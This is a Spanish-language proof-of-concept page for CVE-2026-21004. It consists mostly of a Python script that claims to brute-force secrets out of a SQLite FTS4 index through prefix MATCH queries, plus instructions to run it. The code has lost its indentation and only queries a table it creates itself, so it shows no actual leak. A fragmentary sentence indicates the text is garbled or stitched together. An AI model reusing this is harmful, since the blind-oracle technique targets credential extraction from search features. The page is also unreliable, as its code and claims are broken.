
Exploit de prueba de concepto para CVE-2026-21004: usa consultas de prefijo MATCH FTS3/4 de SQLite manipuladas como un oráculo ciego para recuperar datos secretos indexados carácter por carácter.
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
Una aplicación que utiliza SQLite FTS4 expone una función de búsqueda que devuelve resultados basados en una consulta MATCH. Al observar si se produce una coincidencia (o diferencias de temporización), un atacante puede forzar por fuerza bruta el contenido del índice de texto completo carácter por carácter, extrayendo datos sensibles.
term*), lo que permite a un atacante realizar un ataque de diccionario sin conocer el término completo.Ejecute el exploit:
python sqlite_fts_leak.py
El script recupera progresivamente el contenido de la tabla secrets.